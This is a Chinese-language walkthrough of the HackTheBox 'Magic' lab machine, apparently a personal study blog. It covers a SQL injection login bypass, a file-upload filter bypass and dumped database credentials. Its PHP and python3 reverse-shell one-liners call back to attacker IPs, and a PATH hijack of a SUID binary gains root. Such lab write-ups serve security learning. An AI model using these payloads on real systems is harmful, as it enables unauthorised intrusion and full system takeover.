Magic

进入

扫目录

访问之后还是一个web站点,有很多图片,提示有个登录点,先用dirsearch扫一波

image-20200731191254299

可以看到扫出的目录里面有 loginupload,但是upload会302到login,所以这里还是得从login这里入手。

万能密码

burp抓包,在密码处增加了单引号就出现了报错,再次添加则正常,所以这里直接尝试万能密码 111'or '1'='1 即可成功登陆跳转到 upload

文件上传

题目的意思是需要上传图片,我们先正常上传一个图片文件,然后burp修改后缀与文件名,经过测试这里是2个限制的:

  • 文件头检测(保留正常文件头,在内容的末尾增加php代码或者使用exiftool把代码隐藏进去)
  • 文件后缀检测(尝试解析漏洞)

这里文件后缀因为用的是apache,所以对应多进行几次尝试即可,最后利用以下方式即可绕过:

image-20200731201934584

成功上传之后就可以执行命令了,这里直接利用php进行反弹shell

1
php -r '$sock=fsockopen("10.10.16.2",8899);exec("/bin/sh -i <&3 >&3 2>&3");'

image-20200731202828885

提权

找密码

db.php5发现存在用户名与密码:

    private static $dbName = 'Magic' ;
    private static $dbHost = 'localhost' ;
    private static $dbUsername = 'theseus';
    private static $dbUserPassword = 'iamkingtheseus';

cat /etc/passwd 看到刚好有个theseus 用户,试着su切换用户发现密码并不是这个。但是密码肯定不会平白无故放在这里,所以还有其他的作用。

导出数据库

使用前面拿到的账号密码来备份数据库查看输出信息;

1
mysqldump -utheseus -piamkingtheseus Magic

在输出信息中可以看到包含账号密码的一个敏感操作,这里theseus的密码也就拿到了

1
INSERT INTO login VALUES (1,'admin','Th3s3usW4sK1ng');

获取user权限

接下来就是将获取到的反向shell提升为有交互的tty

1
2
3
4
5
$ sudo -l
sudo: no tty present and no askpass program specified
$ which bash
/bin/bash
$ SHELL=/bin/bash script -q /dev/null # 因为有python3环境 所以也可以:python3 -c 'import pty; pty.spawn("/bin/bash")'

做到这里就因为事情耽搁了,后续再去看机器就没有了,也就没再往下做了。

大佬思路

看了下大佬们的思路,接下来是利用一个suid file/bin/sysinfo ,它是四个Linux命令的组合调用:

1
2
3
4
- Hardware Info = lshw -short
- Disk Info = fdisk -l
- CPU Info = cat /proc/cpuinfo
- Mem Usage = free -h

既然sysinfo调用的是原生的Linux命令,那么我们就可以通过改变PATH变量,创建一个内容由自己决定,文件名为上面四种任意一个的“二进制文件”,具体而言:

/tmp/magic目录下创建一个fdisk文件,然后向其中写入reverse shell

1
2
3
4
theseus@ubuntu:/tmp/magic$ touch fdisk
touch fdisk
theseus@ubuntu:/tmp/magic$ echo python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' > fdisk
<(),2);p=subprocess.call(["/bin/sh","-i"]);' > fdisk

更改权限755

1
theseus@ubuntu:/tmp/magic$ chmod fdisk 755

然后将/tmp/magic目录写到PATH环境变量中:

1
2
theseus@ubuntu:/tmp/magic$ export PATH=/tmp/magic:$PATH
export PATH=/tmp/magic:$PATH

这样就达到了目的,即sysinfo会去执行/tmp/magic目录下的fdisk

本机监听1234端口,靶机运行sysinfo命令:

1
2
3
4
5
Ncat: Connection from 10.10.10.185:45410.
python3 -c 'import pty; pty.spawn("/bin/bash")'
root@ubuntu:/tmp# whoami
whoami
root

总结

  • 万能密码绕过登录
  • 文件上传绕过后缀与文件头
  • mysqldump导出找到密码
  • suid提权
  • linux path 变量利用

参考链接:

https://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/

https://ca0y1h.top/Target_drone/HackTheBox/15.HTB-Magic-walkthrough/

https://www.leavesongs.com/PENETRATION/linux-suid-privilege-escalation.html